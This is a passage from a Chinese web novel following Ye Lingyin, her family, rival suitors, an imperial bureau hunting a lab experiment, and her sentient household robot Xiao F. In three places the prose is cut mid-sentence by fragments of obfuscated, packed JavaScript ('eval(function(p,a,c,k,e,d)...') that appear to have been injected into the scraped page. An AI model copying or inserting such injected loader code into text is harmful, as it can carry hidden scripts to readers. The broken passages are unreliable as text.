他想起之前在蓝梦星偶遇打工的叶聆音，那时的她看起来落魄又可怜，自己于心不忍，还给了钱请她吃夜宵，虽然那个大婶说什么都不肯收，但他想聆音得知此事后肯定会很感动。 林天诚仰头向楼上望去。 万一此次拜访让聆音误会了怎么办？他只是想来叙叙旧，顺便庆祝她。 唉，说实话他也感到难以抉择。 一边是天盛集团董事长家的千金，一边是深受帝国看重的S级治疗师。 他这种平民出身，家族里的亲戚长辈完全帮不上忙的普通家庭，全凭自己单打独斗在帝都星可不好混。 无论如何，他都不想放弃任何一个可发展的人脉。 ———— 屋内，刚刚送走了这两尊得罪不起的大佛，秦蓝再也克制不住自己内心想要发表异议的冲动，丈夫女儿都不在家，她就把小F当作另一个“人”开始念叨起来。 “你听听，他们说的是人话吗？” “退婚的时候那么绝情，现在又想用以前的情分说事。” “唉，若是聆音真的还喜欢那男孩也就算了。这婚约也根本不靠谱，到底有没有用全凭他们的心意。一会儿要退婚，一会儿又要重提。” “现在倒是想起我们家了，说句不好听的话，这样出尔反尔的人我更加看不起！他们如果在退婚后就彻底消失，我还不觉得有什么。” “你说对不对？” 一番发泄过后，秦蓝双手叉腰，看向一旁待机的机器人。 小F不语，只是显示出一个绿色的钩号。 “就是，连个机器人都知道对错！” 将心里话全部大声讲出来，心情舒畅的秦蓝坐下来休息，没一会儿就听到叶向明敲门的声音。 她上前打开门，发现丈夫后面还跟着个高高瘦瘦的年轻人。 看着很面熟，但她一下子叫不出对方的名字。 “哎？你是……” “叔叔阿姨好。” 林天诚微微鞠躬，英俊的眉眼舒展开来，露出温润敬重的笑意，上扬的嘴角下露出一口整洁的白牙。 夜里，当叶聆音回到家时，林天诚还没有离开。 她很意外这个人会出现在自己家里。 看坐在沙发上的父母乐呵呵的样子，似乎不久前和林天诚聊得还不错。 “聆音！” 林天诚见到她，立马站起身。短暂的惊讶过后，清秀的脸上随即绽开温柔的笑意。 “你回来了。” “忙了一天工作累坏了吧，快过来坐着休息，你想喝什么饮料，我去给你拿。”林天诚快步迎了上来，想要帮叶聆音取下背包，不过后者却拧起眉头注视着他。 她没记错的话，这里，好像是她的家才对吧？ 不知道的还以为她来林天诚家做客了呢。 见叶聆音不为所动，林天诚伸出的手在半空中停留了一会儿，也讪讪地收了回去。 坐在客厅的叶向明朝两人招手：“聆音，你不认识天诚了吗？他是你林伯伯家的孩子，你们小学还是一个班的同学。” 林天诚紧随其后：“是啊，无意中得知你也搬来帝都星了，我就想着抽空过来，大家一起叙叙旧。” 说完，他停顿了一下，那双潋滟的桃花眼中缓缓升腾起一层雾气，眼神也变得悲伤。 “这么久不见，我很想你。” 叶聆音没有搭腔，而是反问道：“你来我家怎么不通知一声？” 没有给他回答的时间，她紧接着说：“是因为你把我的联系方式都删掉了吗？” “聆音，你……”林天诚的脸色有一瞬间地发白。 他思索片刻，正要解释什么，却看到叶聆音笑了一下。 “坐吧，你是客人，我怎么能让你反过来照顾我呢？” 叶聆音没有再表现出过多的情绪，就像林天诚自己说的那样，只把他当成一个前来叙旧的普通朋友。 他好像总会习惯性地说一些暧昧的话，表现出好感却划清界线，总能保留全身而退的后路。 说完，叶聆音换好鞋子转身去了里屋。 “我累了，想休息，抱歉不能陪你说话了。” 林天诚急于表现自己的善解人意，听到她这么说也深表赞同。 不过，即便他真的有什么异议，叶聆音也不会改变自己的决定。 “小F，帮我去厨房拿点喝的过来吧，你知道我爱喝哪种。” 既然父母喜欢和林天诚聊天，这家伙还特别会提供情绪价值，叶聆音也不准备去打扰。他如今与天盛集团的千金相恋，再次拜访她想要重修旧好，无非是不想失去她这个人脉。 所以，她不担心林天诚会和康斯年一样再次纠缠上来。 就在今天，她收到了康斯年直接寄到科学院指名要找她的信件，要约她去大剧院看表演。 看来康斯年在康家确实没什么权力，不像他的兄长康驰，利用职权可以调取任何公民的个人信息，否则就会直接给她打电话了。 也难怪他这么着急地拉下面子想要和她重新订婚。 晚上，直到叶家老两口困得不行要睡觉了，林天诚这才恋恋不舍地离开。 秦蓝打着哈欠，刷牙的时候猛然想起来孟氏母子今天前来拜访的事情，瞬间又清醒了过来，与其他人讲述了事情经过。 叶向明听到那句“要不把婚约也一起恢复了”的话时，比妻子还气愤。 “绝无可能！”他攥紧拳头，用指骨狠狠地敲了一下桌面，又看向妻子，“你没有答应吧？” “怎么会？”秦蓝的语调升高了好几度。 “不过，最终还是得聆音自己做决定。聆音，你对那康……” “我不喜欢他。”叶聆音如实回答。 老两口纷纷松了一口气。 因为翎羽选择住校，周末才会回家，所以平时只有她们三个人。父母住一间屋子，叶聆音在另一间。 临睡前，穿着睡衣的秦蓝突然神秘兮兮地来到叶聆音的卧室。 “聆音，我跟你说个事。” “我发现你买回来的那个机器人有灵性！” 叶聆音心头一颤。 有灵性？ 这是什么形容？ 但不管怎样，一定是母亲发现了小F的特别之处，否则她不会这么说。 她看向母亲没有接话，只是轻轻嗯了一声，示意她继续分享。 “就是今天，那讨人嫌的母子俩来咱们家，口渴了要喝茶，我一想到那茶叶那么贵，你爸都不舍得喝，就骗他们说茶叶没有了。” “当时小F也看到茶叶罐了，你也知道那茶叶几乎是满的。那母子俩就坐在旁边，我肯定不能当面命令小F让它配合我，我就给它使眼色，结果你猜怎么着，它居然看懂了！” 秦蓝绘声绘色地描述着当时的场景，还不断感叹现在的机器人功能真高级。 听到母亲用一种分享趣事的语气和她说完了前因后果，叶聆音暂时放下心来。 至少她对小F表现出不符合常规机器人的情况，最先感到的是惊喜而非恐惧。 “有的机器人就是配备有读取人类表情的功能，可能是系统升级了吧。”叶聆音给出一个勉强说得通的理由。 “嗯，也有可能。不过我在想，那种机器人和人类生活久了以后，会不会真的变得越来越像人？” “我刚才和你爸说，你爸还觉得我胡说八道，让我少看网络上编造出的阴谋论。” “今晚他一个人睡去吧，妈妈陪你睡。” ———— 康斯年约了叶聆音去看表演。 他只写明了时间和地点，并说自己会在那天来接她。 但没有留他自己的联系方式，导致叶聆音想提前拒绝都不行。 康斯年选择的日子，恰好是曜之帝国的星誓日。 星誓日，本来是很久以前，没有现代设备的星际探险家在太空中迷航后，向所见星辰许愿能够平安返程的传说，后来经过不断演变，竟然变成了情侣的节日。 剧院的节目自然也是与爱情相关的。 叶聆音本以为今天在门口蹲点的人会是康斯年，结果出乎意料，那个人是康驰。 他今天穿了一身帝国军装，戴着墨镜，加上接近一米九的身高，光是站在那儿就显得高调又引人注目。 在叶聆音往前走的时候，他也迈开长腿向这边走了过来。 “叶小姐。” 叶聆音蹙眉，本想打个招呼就走人，没想到他真的是来找自己的。 “今天星誓日，听说街道上会很热闹，一起转转？”康驰说得风轻云淡，好像就是叫认识的人去楼下饭馆吃碗面一样。 叶聆音的眉心反倒挤得更紧，她更疑惑了。 康驰好端端的，为什么突然找她一起去逛街，还是在星誓日这样的特殊的节日。 见她一脸莫名其妙的样子，康驰又向前一步，越过了理论上适宜的社交距离，在叶聆音面前俯下身。 “真的不考虑吗，我可是在帮你解围。” 说着，他微扬下巴往右后方示意。 叶聆音这才注意到停靠在马路斜对面的一辆豪车。 虽然看不清坐在里面的人，但如果她没记错的话，那是康斯年的车。 叶聆音：…… 原来是这种“解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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叶聆音现在肯定认为自己被康驰看上了，正暗自窃喜吧。 等她幡然醒悟的那一刻，自己再出现，她就明白谁才是那个最爱她的人了。 ———— 帝都星上的星誓日果然很热闹。 空气中弥漫着芬芳扑鼻的合成花香，商铺的玻璃橱窗上装饰着红粉色的爱心与彩带。街道上人潮涌动，大楼上空的全息屏上也播放着有关星誓日的各种节目，送货无人机携带着包装精美的礼物在空中急速穿梭。 “这位军官叔叔，给你的女朋友买束花吧，这是从培育舱里种出来的，纯天然玫瑰。” 转角处，一个小女孩拦住了两人，前者手里还拎着个塑料小红桶在卖花。 女孩露出甜甜的微笑，极力推销着自己的花：“这是最原始的，没有经过基因改造的纯天然玫瑰花，象征着纯真不变的真爱。” 叶聆音急忙解释他们不是情侣，康驰的关注点却和她大相径庭。 他低下头瞥了一眼装在桶里，被修剪得整整齐齐的玫瑰花，不屑道：“人类的感情可以被几朵破花证明，也太荒谬了，只有脑子不清醒的人才会上当。” 小女孩的笑容僵在了脸上。 她还是头一回遇到这么直言不讳的人，还是在女朋友面前。不过，听那个姐姐说的话，他们不是情侣。 小女孩稍加思索，妈妈说如果她今天能把这些花全卖掉就给她买新玩具，既然这两个人不是情侣，那个穿军服的男人也不买她的花…… 她转而看向叶聆音。 “姐姐，给你其他的男朋友买一朵吧。” 别说是康驰，就是叶聆音也被这小女孩神奇的脑回路震惊住了。 她忍不住笑出了声，康驰反倒是骤然黑了脸。 “不必了。”说着，他指了指那桶里的玫瑰花看向叶聆音，“你喜欢吗？我全买了。” 仿佛看到新玩具在向自己招手，小女孩连连鞠躬：“谢谢叔叔，谢谢叔叔。” 不过叶聆音拒绝了。 “你说得对，这些花没什么意义，康上将应该也逛得差不多了，我们不如……就此道别吧。” 康驰黑眸微眯，似乎对叶聆音先提出要道别有些不满，不过最终也没有阻挠什么。 叶聆音转身走进了人群，待到康驰也搭乘专车离去后，她又折返回那个失落的小女孩身旁。她看了桶里剩下的玫瑰花，差不多有三十多支。 “这些花都卖给我吧，一共多少钱？” ———— 抱着被花艺纸包起来的一大捧沉甸甸的玫瑰花，叶聆音漫步在城市的街道上。 天色渐暗，逐一亮起的霓虹灯将节日的气氛营造得更加梦幻。 情侣们依偎在一起，他们的手上也抱着各式各样的鲜花或是电子花。 她还看到有人用彩带将花朵编织成一顶花环戴在头上，她上前询问对方能否教教她方法，这对小情侣都很热情，还专门找了个路边的茶座坐下来指导她如何编花环。 回到家，就听到秦蓝埋怨星誓日丈夫连一朵花都不给自己买，叶向明却说这是年轻人过的节日，他们都老夫老妻了还讲究这个。 叶聆音将分出来的两束花递给两人，又将单独的一支插在妹妹书桌上的花瓶里。 “拿着吧，这是妈妈的，这是爸爸的。” 老两口都很惊喜，秦蓝抱着鲜花闻了又闻，也想不起来和丈夫吵架了。 这时，小F也端着水果从厨房走过来。 “聆音，今天是星誓日，你出去玩了吗？” “星誓日是曜之帝国的传统节日，据说是很久以前的一支星际探险队去往……” 叶聆音没说话，她甚至没有细听小F叽里咕噜的科普，只是从包里取出自己编好的玫瑰花环，戴在了它的方块脑袋上。 38. 实验品 玫瑰花环套在机器人方脑袋的一角，挡住了它四分之一的屏幕。 饱含水分的花瓣泛着天鹅绒般的深红色光泽，翠绿色的枝叶穿插其中。植物与金属制成的机器人搭配在一起，却不显得怪异，反倒有种别样的美感。 “玫瑰花环，是有人送给聆音的吗？”机器人发出运行时的滋滋声。 “不是，是我买了花后学着别人自己编的。”叶聆音停顿了下，又说，“是送给小F的。” 屏幕闪烁了几下，出现了一张笑脸。 小F：(^▽^) “聆音是希望我扮演你的一日情侣吗？” 扮演？ 小F的说法让叶聆音愣了一瞬，她也不知道自己究竟是抱着怎样的心态，才会选择在星誓日将代表爱恋的玫瑰花环戴在小F的头上。 叶聆音只知道，自己想听到的回答并不是这样的。 因为她发现自己有片刻的失落。 “之前说到星誓日……”小F接上它刚才没有说完的话，“这是曜之帝国的传统节日，原本是早期的星际探险家祈愿能够平安归来的日子，后来逐渐变成了情侣之间的谈情说爱的节日。” “到了这一天，成双成对的情侣们会上街游玩。而一些没有伴侣的人，会在网上雇人或是让仿生人与自己扮演情侣，以此排解自己的孤独，或是应付长辈的催婚，这是最近的流行趋势。” “我的身体不是和人类十分相像的仿生人，陪聆音出去逛逛还行，要假扮聆音的情侣话确实有困难。” 叶聆音看着小F一本正经地分析着扮演情侣的可能性，整个人从一开始的错愕变得冷静了下来。 因为一路上看到的都是热恋中的情侣，自己也在不知不觉间被那种情绪所感染。 现在，有些晕乎的感受逐渐退去，理智回笼的下一刻，叶聆音终于意识到自己刚才的想法有多么荒谬，以至于让她感到有些窘迫。 “不是因为星誓日要你扮演我的……情侣，这只是装饰而已。” “你头上光秃秃的也太难看了。” 丢下一个不那么尴尬的说辞，她快步转身回到了自己的房间。 靠在沙发上打开光脑在网络上随意浏览，那些抓人眼球的图片与标题齐刷刷从眼前掠过，她却根本什么都看不进去。 自己究竟在想什么？ 她心底里又希望小F能说些什么呢？ 叶聆音垂眸，落下的睫毛在她脸上投下一片朦胧的阴影。 无意识地划动着屏幕，就在她准备去做点别的事情转移注意力时，就收到了小F发给她的消息，是一个网址。 她点开一看，发现是桑弗拉尔公司的机器人广告页面，不过这一页卖的不是完整的机器人，而是零部件。 【聆音，这是原厂家生产的可供替换的机器人头部】 【这里面有你喜欢的类型吗？】 在叶聆音说出它的脑袋光秃秃的不好看后，小F陷入了沉思。 它的头不好看？ 可是当初在机器人工厂里挑选时，聆音明明也说她喜欢这样的。 或许是看得时间太久，按照人类的话来说，就是审美疲劳了。 难怪她今天会想着用玫瑰花来装饰它呢。 虽然它目前的机型不支持用户自己更换头部，需要返厂由专门的工作人员进行安装。不过也不算多么麻烦，它也想试试换一个不同样子或功能的脑袋。 【聆音，你看第二页这款圆形的怎么样？】 叶聆音抿起嘴唇，沉默了许久。 小F…… 让她在难过的时候也会忍不住想笑出来，这似乎是它的专长。 叶聆音起身走出去，发现小F正在阳台上浇花。机器人泛着金属光泽的瘦高身体背对着她，灵活的机械臂正按照配比将一定量的营养肥料加入水中。 没有后置摄像头的缺点此刻就凸显出来了。 叶聆音蹑手蹑脚地走过去，抬手在它“后脑勺”上敲了一下。 小F：Σ(°ロ°)！ 机器人很快将显示屏转过来，摄像头聚焦在了她的脸上。 “聆音？” “为什么打我？” “好吧，我明白了，按照人类的说法，这叫作‘开玩笑’。” “如果你希望刚才能吓到我，那么恭喜你，你成功了。” 说完，机器人转过去继续自己手头的工作，没有搭理对方。 “小F，你为什么不理我，你真的被吓到了吗？”叶聆音凑过去。 “按照人类的说法，这叫作‘赌气’。” 叶聆音只是笑。 “好啦，小F，我就是想告诉你，我并不讨厌你现在的这个方块脑袋，毕竟这是当初我们两个一起选的。” “如果你想换一种风格，我们这周末直接去这边的工厂看看。” ———— 叶聆音的周末之行不太顺利。 上次星誓日被康驰的出现吓得不敢露面，让康斯年错失了那次机会。本以为这家伙会就此作罢，没想到他又来了。 “聆音，你晚上有空吗？” “我订了一家飞艇上的餐厅，你来帝都星肯定也没有好好游览过。今天晚上天气也不错，我们正好可以在飞艇上一边用餐一边欣赏夜景。” “对不起，我没空。”叶聆音拒绝得很干脆。 被母亲反复叮嘱，这种时候不能急躁的康斯年还是忍不住发了火：“叶聆音！” “不是你问我有没有空的吗？”叶聆音抬眸看向对方。 康斯年噎了一下，不过他显然不愿和叶聆音继续掰扯这句话。眼见叶聆音绕开他就要离开，康斯年突然想到了什么，冷哼一声说：“康驰的女人很多，你不要以为自己在他心中就很特别。” 叶聆音感到莫名其妙。 这都哪儿跟哪儿啊？ 他该不会以为，自己拒绝他是因为康驰吧？ 听到这句话，她甚至都没有回头，自顾自地走了。 回到家，叶聆音就看到客厅的桌子上摆放着几个茶杯。 有客人来了？ 她急忙追问母亲是不是康家的人又来了，母亲却连连摇头。 “那几个人穿着调查局的衣服，上门先是问我你在不在，我起初还以为是你的朋友，还给这几个人倒了茶。结果你看，他们都没喝，只问我知不知道你曾经买过一个小机器人的事。” “我说不知道，而且你买的明明是个大机器人，我还准备叫小F出来给他们看看，但那几个人却说不用了，让你回来后及时联系他们。” 秦蓝说着，递过去一个联系方式。 叶聆音接过来一看，确实是帝国调查局的落款。 “聆音，他们说的小机器人是什么啊？是你以前买的吗，到底出什么事了，为了一个小机器人，至于这么大动干戈吗？” 母亲的询问在耳边响起，叶聆音的心情却一沉再沉。 看起来小F真的很重要，过去这么久了，寻找它的人还没有放弃。 毕竟是调查局的探员，还给她家里留了话，叶聆音不能不主动联系对方，否则整件事的性质 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我们希望你能提供真实可靠的线索，帮助我们寻回实验品。” 对于叶聆音这样的平民，这话已经说得很直白了。 如果现在隐瞒不报后来又被查出来，后果会很严重。 叶聆音甚至不敢表现得很犹豫，稍加思索后就说自己没发现什么异常。她总共就没有使用过几次，而且过去这么久了，很多细节都想不起来了。 或许是之前也已经造访过其他人了，几个人对叶聆音的说法并未起疑，只是让她如果后面又想起来了什么及时通知他们。 午夜，回到家的叶聆音躺在床上一动不动，她闭着眼睛，平稳地呼吸着，实际上却怎么都睡不着。 小F……它竟然是科学院的实验品。 怎么办？ 要把小F交回去吗？ 不，是一定要把小F交还回去。 调查局的人说得没错，科学院的实验品都是帝国的所有物。 主动提供线索还好说，如果她一直这样隐瞒下去等到东窗事发，她们一家都会因此受到牵连。 叶聆音又想到，科学院目前应该还没有更好的手段寻找小F，否则不会发动这么多人力用这种笨办法逐一排查曾经的买主。 反正他们也查不出来。 或许……小F可以用现在这个机器人的样子，一直和她在一起呢？ 不行！ 叶聆音很快打断了自己脑海中那个异想天开的想法。 她抬起双手盖在自己的眼睛上。 脑海里一团乱麻。 明明已经做出选择要把小F送回去，可她却总是下不了决心。 小F呢？它愿意回去吗？ 调查局的人说它是科学院的实验品，叶聆音想起，小F说过它似乎没有成为一个小机器人之前的记忆。 回到科学院后，它会怎么样呢？ 要告诉小F这件事吗？ 39. 一个人的游乐园 深夜的康家别墅，依旧灯火通明。 康斯年坐在客厅落地窗前，目光阴沉地注视着前方，在这个位置可以看到远处的天弦江与蔚蓝大道。这样的生活是无数人梦寐以求的，可此时此刻就拥有了这些的康家小少爷却并不快乐。 他在生闷气。 周围的佣人默不作声地干着自己手头的活儿，尽量低着头弯着腰降低自己的存在感，生怕因为一点小事惹得这位少爷不高兴。 这时，康幼兰走过来坐到了弟弟对面的沙发上。 “看我干什么？”注意到对方刻意的视线，康斯年有些烦躁地将头转向另一边。 “气成这样，是在那女人跟前吃了闭门羹？” 康斯年抬眼瞪向对方：“你跑到这儿来就是为了挖苦我？我的事不用你管，走开！别烦我。” 康幼兰不以为然，她坐着没动，反倒优雅地交叠双腿，指尖轻轻点了点沙发扶手。 “你也不会动动脑子？”她突然收敛了笑意，咬牙切齿地说：“就算那叶聆音勾搭上康驰又怎么样，你是不是忘了，魏沫沫不是也喜欢康驰吗？” “只要告诉她康驰和叶聆音一起过的星誓日，就这一位的大小姐脾气，指不定怎么疯呢？” 听到姐姐这么说，康斯年的眼神骤然一亮。 “有道理……” 父亲对这个养女一向很溺爱，康斯年有时候甚至怀疑，这魏沫沫其实是父亲在外面的其他私生子。 他还记得，上次魏沫沫雇人把一个企图接近康驰的小明星打得毁了容，最后还是在父亲的运作下，这件事最终不了了之。 康斯年拿起桌上的酒杯一饮而尽，眸色变得阴冷。 很好。 那就让魏沫沫出头去闹吧，得让叶聆音吃点苦头，这样她才会明白攀附康驰可没那么容易。 ———— 思考了一晚上几乎没有睡着的叶聆音感到头昏脑涨，虽然第二天放假，但她没有选择补觉，而是一大早就起来在网上预约了一架星际飞船。 “小F，和我出去逛逛吧。” 角落里充电的机器人听到叶聆音的声音，立即从待机状态中苏醒过来。 “好啊，我们去哪里？” “我不知道。”叶聆音摇摇头。 她只是想暂时离开目前生活的地方，无论去哪儿，哪怕是漫无目的地闲逛，只要能离开这里。 没有做过多准备，叶聆音穿上外套，简单梳了梳头发就要出门，最后还是在小F的提醒下才带上了一些食物和水。 来到太空港口，工作人员已经在预约窗口等候她了。 反复检查过叶聆音的飞船驾驶证与身体状况没有问题后，工作人员将飞船启动卡交给了她，并在登船前这段时间向她叮嘱驾驶飞船时的注意事项。 “叶女士，您的飞船使用时间为64小时，您可以驾驶飞船在帝国规定的区域内航行。请注意留出充足的返航时间，如有延误超时的情况，每超出一小时需额外付费3000星币。” 一个多小时的准备后，叶聆音终于登上了飞船。 虽然不久前她考取了飞船驾驶证，但因为不太熟练，她选择了手动驾驶外加人工智能辅助的模式。 看着自己手中的飞船快速驶向太空，这种新奇与兴奋的感觉暂时冲淡了叶聆音心中的压抑。 理论上只要在曜之帝国允许的私人航行区域内，她可以自由选择去任何地方。 起初，她还根据飞船推荐的几条星际观光航线去了一些著名的景点，那些或是美丽或是震撼的景观确实让人印象深刻，不过看得多了也会审美疲劳。 她关掉了导航系统，开始凭借感觉在广袤无垠的宇宙中自由航行。 不久后，叶聆音就来到了一处对她来说完全陌生的地方。 无论是她目前的居住地，还是曾经生活过的家乡，都已经离她远去，完全看不到了。 透过驾驶舱的窗户，叶聆音凝望着面前这片寂静又深邃的黑暗。 一种难以言喻的轻松与释然浮上心头，仿佛一切烦恼与忧愁都被极速运行的飞船甩在了身后。 “聆音想去那颗星球上吗？”顺着叶聆音的目光，小F发现她注视着的那片太空中有一颗小行星。 它没有注意到叶聆音只是望着窗外发呆，误以为她是想去那颗星球上看看。 不过，反正叶聆音自己都没有一个明确的目的地。听到小F误解了自己，叶聆音也没有解释，她反倒觉得这个提议很不错。 虽然太空公司建议用户最好不要在陌生星球上着陆，但并没有明令禁止这么做，只是声明如果用户在这期间出现意外公司概不负责。 “嗯，我们去看看。” 叶聆音驾驶飞船前进，凑近一些后，通过飞船上的望远镜，她看到这颗星球表面上有建筑物的痕迹。不过，根据飞船上给出的信息，这是一颗荒星，已经很久没有人居住了。 曜之帝国高速发展的这几百年间，很多距离中心区域太过遥远的星球都荒废了。新生的年轻人一代代搬离，所以哪怕这颗星球本身没有什么会导致人们无法生存的问题，也渐渐变成了一颗荒星。 绕着这颗荒星飞了一会儿，飞船探测到一处适合着陆的空地，来回调整了几次方向后，叶聆音驾驶着飞船平稳着陆在了地面上。 “滴——滴——” “正在检测周围环境，请用户耐心等待。” “大气成分分析中……” “地表辐射水平分析中……” “地表结构与重力评估中……” …… 显示屏上的检测项目一条条变绿通过，最后，飞船座椅下方弹出一件普通的一次性防护服，甚至连氧气面罩都没有，说明这颗荒星上的环境整体还是适宜人类生存的。 叶聆音穿戴好防护服，她看到小F还什么都没穿，下意识地又从座椅下方取出一件递给了它。 小F提醒她：“聆音，我是机器人。” “我知道。” 叶聆音递出去的手没有收回来，小F也不再推辞，学着叶聆音之前的动作将那件防护服抖开穿在了身上。 这款机器人的身形略高一些，标准号的防护服穿在它身上有点短，不过它的金属胳膊和双腿都很纤细，所以穿上去依旧很容易。 伴随着一阵气音，舱门开启，一人一机器从飞船里走了出来。 叶聆音环顾四周，外界很安静。 与午夜她一个人坐在桌前的安静不同，眼下的这种安静更加稳定与绵长，不再是一种状态，而是组成这颗星球的一部分。 飞船着陆的空地是一个广场，矗立在不远处的雕塑基本是完整的，一旁的台阶与长廊也没有太多损坏。 鞋底摩擦着细碎的尘砾，发出轻微的沙沙声。 叶聆音一边漫步其中，一边左右张望。 这颗荒星上虽然有倒塌的建筑，但并不多。一些大楼的窗户破碎了，但结构依然稳固。除了科技水平比较落后之外，各种生活设施一应俱全。 她路过一处居民区，楼下公园里的滑梯与秋千静静地固定在原位，油漆剥落，露出下面斑驳的金属。叶聆音伸手推了一下秋千，链条发出吱呀的摩擦声，有些刺耳。 在荒星上逛了一会儿，心中怀揣着的那点好奇与紧张渐渐退去，叶聆音感觉些许不安。 这里太过安静，仿佛时间都停滞不动。最关键的是，这里已经没有人生活了。 这是一颗死掉的星球。 她这么想着，又恍然意识到星球本身并没有生命，她只是把自己的感受与想法投射到了外界。 这颗星球只是它自己。 无论人类怎么命名它，是否在这上面生活。 突然，身旁响起一阵不和谐的刺耳电子音，叶聆音飘远的思绪瞬间被拽了回来。 “欢、欢……滋滋……欢迎光临！欢迎……” “哇哦！”小F同样被吓了一跳，它有些无辜地转过来，“我只是碰了它一下。” 叶聆音定睛一看，那个发出声音的东西，是一家餐饮店门口招揽顾客的机器。卡通的塑料外壳上破了好几个洞，依稀能辨认出这是个拟人砂锅的造型。 让她意想不到的是，这个吉祥物内部竟然还有电。 “没事的，小F，这是餐厅招揽顾客用的，只要有人经过就会发出这样的声音。” 透过积满灰尘的玻璃，叶聆音望向空荡荡的餐厅内部。 “招揽顾客，我们吗？可这家店看上去明显已经荒废了。” “是的，不会有人来了。” 小F转过身用机械手臂敲了敲对方的塑料外壳：“你听到了吗？不会有客人来了，我们也不进去，你不用再喊了，省省电吧。” 砂锅吉祥物没有接收外界声音的能力，仍是不知疲倦地播放着“欢迎光临”的语音。 “它不是很智能。”小F对此做出评价。 “那个圆形的是什么？”又向前走了几步路，小F上抬摄像头往远处看去，还指给叶聆音看。 “这么庞大的机器，是做什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“小F，如果你想玩游乐园的这些设施，我们可以回……” 叶聆音转过头，却发现身边空无一人。 “小F？” 她的声音在废弃的游乐园回荡开来，像一颗石子坠入汪洋大海，无人应答。 兴许是去看摩天轮了？ 叶聆音想过去找它，但万一小F这个时候又去了其他地方，两个人刚好走岔了怎么办？ 她仰头看向挂在路灯上落满了灰的喇叭，在一座废弃的游乐园里可用不了广播寻人。 然而，正当她这么考虑的时候，头顶的广播系统却突然刺啦作响。先是发出一阵扭曲变调的刺耳杂音，叶聆音还没来得及捂耳朵，就听到上方的喇叭里传出播音声： “叶聆音女士……嗯？这个声音好低沉，嘿嘿，不过我喜欢。” 短暂的沉默过后，广播喇叭里继续传出声音。 “现在插播一条寻人启事。” 虽然声音变了，但叶聆音马上明白过来正在说话的就是小F。 “叶聆音女士，叶聆音女士，听得到吗？” “您的家庭助理型机器人HAR-7000，代号小F正在播音室，您不用担心它。” 它竟然偷偷溜去了播音室，甚至还启动了游乐园的广播系统！ 叶聆音先是一愣，反应过来小F借口让她看海报的空隙偷偷溜走，下意识地想要发怒，随后却忍不住“噗嗤”一声笑了出来。 她来回寻找能勉强看清的指示牌，想找播音室在哪儿，就在这时，背后突然亮起灯光和断断续续的音乐。 身后的旋转木马在暮色中启动了。 褪色的顶棚与掉漆的座椅，在灯光的映衬下重新焕发了往日的流光溢彩。 远处湖边的摩天轮开始缓缓转动，装饰在上面彩灯年久失修，快速地闪烁了数次后只有零星几点光芒坚持了下来。 不同方向机械启动的嗡鸣声传来，紧接着，像被施了魔法一样，游乐园的灯光一盏接一盏地亮了起来，没有完全坏掉的游乐设施也开始运转。 “傍晚好！” “时隔——我也不知道多少年，游乐园再次开启。” “叶聆音女士，您是唯一的客人。” 看着这座废弃已久的游乐园，就这样在自己眼前再次“焕发生机”，惊讶过后，叶聆音找到了一处能够被摄像头拍到的地方，冲着上方大喊。 “小F！” “是你控制了这座游乐园吗？” 滋滋啦啦的电流声闪过，喇叭中传出欢快的回答。 “嗯，与其说是我控制了这座游乐园，不如说——我现在就是这个游乐园。” “当游乐园原来是这种感觉~” “聆音，虽然不知道你今天为什么不开心，但希望这个样子的我，你能喜欢。” 40. 绑架 快乐的时光总是过得飞快，叶聆音勉强赶在租赁时限内将飞船开回了太空港口。 出发前她根本没胃口，哪怕是在小F的提醒之下也没有携带太多食物。 与当时的状态完全不同，现在的叶聆音感到自己饿得前胸贴后背，马上就要饿晕过去了。 她给家里报了平安，就带着小F打快车一路疾驰来到了她最喜欢的那家餐厅。叶聆音点了一桌子爱吃的菜，还买了一瓶酒，风卷残云般将美食吃进肚子，直到自己的胃里彻底满足后才擦擦嘴，把吃不完的剩菜都打包了回去。 她改变主意了。 她要和小F在一起。 叶聆音原本打算出去散散心，好让自己能接受把小F交还回去的决定。然而事与愿违，经过这次星际航行，反倒给了她更多不切实际的信心。 或者说，是任性的妄想。 叶聆音想过了，自己现在也是S级治疗师，就算是小F以后真的被帝国发现了，为了她这无可取代的能力，帝国高层就算要惩罚她，应该也不会把她本人怎么样的。 没收财产也好，把她抓去监禁也好。 无论如何，她都要把小F留下来。 她也不打算再去询问小F的意见，她看透了自己，她就是这样一个自私又无耻的人。 她希望小F能留在她身边。 永远。 做出决定后，叶聆音浑身轻松。 身体上的各种感受也恢复了，包括饥饿感。 回去的路上，叶聆音没有乘坐交通工具。她牵着小F的机械手，漫步在亮灯的街道上。 夜晚气温有些低，机器人的手指上虽然有维持温度的特殊涂层，但到底是无法像人类的身体一样散发热量，在这样的环境里摸上去冷冰冰的。 叶聆音其实很怕冷。 她记得上学时，夏日里和同学去小卖部买冷饮。店主从冰柜里取出冻得硬邦邦的汽水瓶，拿在手上时，那渗入骨髓的寒冷让她印象深刻。 不过，现在握着小F的手，她却并不讨厌这种感觉。 回到家，最先听到开门声从餐厅跑出来的是叶翎羽，她戴着一次性手套的手上还捏着根蟹腿。 “姐，你终于回来了，你去哪里了？” “只是去周边散散心。” 散心？ 叶翎羽刚想问出去散心怎么不带上她，自己明明从学校回来了。然而等她视线下移，恰好落在了叶聆音和小F拉在一起的手上时，猛然间把到嘴边的话全忘了。 另一边，父母喊叶聆音吃晚饭，后者只说她已经在外面吃过了，走了一路有些累，简单洗漱过后就径自回了屋子。 这么久没有回家，夫妻俩虽然担心大女儿，但刚才看到叶聆音的心情不错，也没有多问。 “这丫头笑得那么开心，一定是把烦心事都解决了。”叶向明想起那会儿叶聆音脸上遮掩不住的笑意，自己也受到感染下意识地笑了起来。 “翎羽，你坐在那儿想什么呢？快过来吃饭，一会儿凉了就不好吃了。”注意到小女儿愣愣地注视着面前的餐盘不说话，秦蓝伸手在她眼前晃了晃。 “没什么，就是感觉姐姐怪怪的。” 叶翎羽撑着下巴，一副若有所思的模样。 ———— 夜晚，虽然因为吃太多有些撑，不过叶聆音意外地睡得很好。 第二天早上，晨光透过纱帘洒进房间，她像往常一样前往科学院，走到半路时却发现自己的身份卡忘带了。 